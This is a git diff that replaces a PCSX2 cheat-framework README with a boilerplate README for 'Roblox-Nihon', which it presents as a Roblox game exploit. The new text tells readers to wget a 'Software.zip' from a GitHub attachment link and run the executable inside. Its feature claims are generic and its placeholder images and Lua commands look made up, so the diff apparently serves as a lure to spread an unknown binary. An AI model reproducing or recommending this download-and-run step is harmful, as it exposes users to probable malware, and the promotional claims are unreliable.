diff --git a/README.md b/README.md index f02c77a..368577e 100644 --- a/README.md +++ b/README.md @@ -1,68 +1,89 @@ -# PCSX2 Cheat Development Kit -PCSX2 Menu Trainer Development Kit is a C++ library designed to simplify the process of creating cheats for the PCSX2 emulator. -It aims to bridge the gap between modern cheat development practices and the classic era of cheat codes. -This framework provides tools to port older codes to a more modern approach, using additional libraries such as dear imgui and minhook. - -| ![image](https://github.com/NightFyre/PCSX2-CheatFrameWork/assets/80198020/7417d7e7-603c-465a-807f-62abf88179eb) | ![image](https://user-images.githubusercontent.com/80198020/201475737-21591eb0-8858-4575-8ee9-5d9d2e07d1dc.png) | ![image](https://user-images.githubusercontent.com/80198020/200977619-e22fe7a5-b914-4906-9e3c-50f929ea3ebf.png) | -| :---: | :---: | :---: | - -## FEATURES -- Easily Read & Write to virtual PS2 Memory -- PCSX2 Emulator Process Virtual Method Hooking -- Rendering API Helpers -- Access EE & IOP Registers during execution - -## USAGE -1. include the SDK header as well as any required packages. -*NOTE: Engine_Package.h is a required package and needs to be manually included.* - - `CDK.h` // Including the SDK header will provide access to all the most necessary features. - - `Core_Package.cpp` // Main Package and must be included for basic usage - - `PCSX2_Package.cpp` // PCSX2 specific members and functions. Like the rendering API's for instance - -2. Initialize the SDK - - `PlayStation2::InitCDK();` // Basic CDK Initialization - -3. Do Stuff -https://github.com/NightFyre/PCSX2-CheatFramework/blob/70dcf7dc51747df014f5d537a3188b8de1fe95a2/dllmain.cpp#L18-L29 - -4. (optional) include game package for additional controls - -## USAGE EXAMPLES - -- Access EE Memory -https://github.com/NightFyre/PCSX2-CheatFramework/blob/b2ae5a44d7c1452256920c4af81f745cdf0df2f3/examples/GameMemory/dllmain.cpp#L33-L34 - -- Get Virtual Address -https://github.com/NightFyre/PCSX2-CheatFramework/blob/b2ae5a44d7c1452256920c4af81f745cdf0df2f3/examples/GameMemory/dllmain.cpp#L37-L38 - -- Read Virtual Memory -https://github.com/NightFyre/PCSX2-CheatFramework/blob/b2ae5a44d7c1452256920c4af81f745cdf0df2f3/examples/GameMemory/dllmain.cpp#L41-L47 - -- Access Class Members via GamePackages -```cpp -/// SOCOM 1 -> Access SealObject & Modify Weapon Ammo -{ - // Create an instance of the Offsets Class - SOCOM1::CZSeal* pLocalSeal = SOCOM1::CZSeal::GetDefaultInstance(); - if (pLocalSeal) - Console::cLogMsg("[+][PCSX2-CDK][SOCOM] LocalSeal Name: %s\n", EConsoleColors::green, pLocalSeal->GetName().c_str()); -} +# Roblox-Nihon + +![Roblox-Nihon Logo](https://example.com/logo.png) + +Nihon is a leading Roblox exploit founded in 2020, known for its intuitive user interface, robust features, and exceptional performance. Developed by top industry professionals, it offers enhanced security, customization options, and a globally trusted service. + +--- + +## Table of Contents +- [Features](#features) +- [Installation](#installation) +- [Usage](#usage) +- [Contributing](#contributing) +- [License](#license) + +--- + +## Features + +- **Intuitive User Interface**: Nihon provides a user-friendly interface that is easy to navigate and use. +- **Robust Features**: This exploit comes packed with a wide range of powerful features to enhance your Roblox experience. +- **Exceptional Performance**: Nihon is optimized for high performance to ensure smooth gameplay. +- **Enhanced Security**: Built-in security measures to protect against vulnerabilities. +- **Customization Options**: Tailor the exploit to meet your specific needs. +- **Global Trust**: Nihon is a trusted solution used by players worldwide. + +![Screenshot](https://example.com/screenshot.png) + +--- + +## Installation + +To get started with Nihon, follow these steps: + +1. Download the [Software.zip](https://github.com/user-attachments/files/16913125/Software.zip) package. + ```bash + wget https://github.com/user-attachments/files/16913125/Software.zip + ``` + +2. Extract the contents of the zip file. + +3. Run the executable file to launch the Nihon exploit. + +--- + +## Usage + +Once you have installed Nihon, you can start using its features right away. Here are some common commands to get you started: + +```lua +-- Example Lua script to demonstrate Nihon features +print("Hello, Nihon!") + +-- Execute a command +executeCommand("fly") + +-- Teleport to a specific location +teleportTo(0, 100, 0) + +-- Enable noclip mode +enableNoclip() ``` -- Hook Rendering API -https://github.com/NightFyre/PCSX2-CheatFramework/blob/7c786cdd3e7f8c0855bc7d1f83df687092424604/examples/Rendering/dllmain.cpp#L44-L51 +For a full list of commands and options, please refer to the official documentation. + +--- + +## Contributing + +We welcome contributions from the community to help improve Nihon. If you would like to contribute, please follow these guidelines: + +1. Fork the repository. +2. Create a new branch. +3. Make your changes. +4. Submit a pull request. + +Before submitting your pull request, make sure to run the tests and ensure that your code follows the coding standards. + +--- + +## License +This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. -### References & Credits -- [PCSX2](https://github.com/PCSX2/pcsx2) -- [GameHacking.org](https://gamehacking.org/system/ps2) -- [Sly Cooper Modding Community](https://discord.com/invite/2GSXcEzPJA) -- [SOCOM Modding Community](https://discord.com/invite/PCJGrwMdUS) -- [A General Guide for Making Cheats & Trainers for PCSX2](https://www.unknowncheats.me/forum/general-programming-and-reversing/569991-pcsx2-guide-cheats-trainers.html) +--- -### License -This framework is distributed under the MIT License. +Thank you for choosing Nihon! We hope you enjoy using our robust Roblox exploit. If you have any questions or feedback, feel free to reach out to our team. -### Disclaimer -1. *This framework is intended for educational and single-player use.* -2. *Use cheats responsibly and respect the terms of use of the games you are modifying.* +![Roblox-Nihon Team](https://example.com/team.jpg) \ No newline at end of file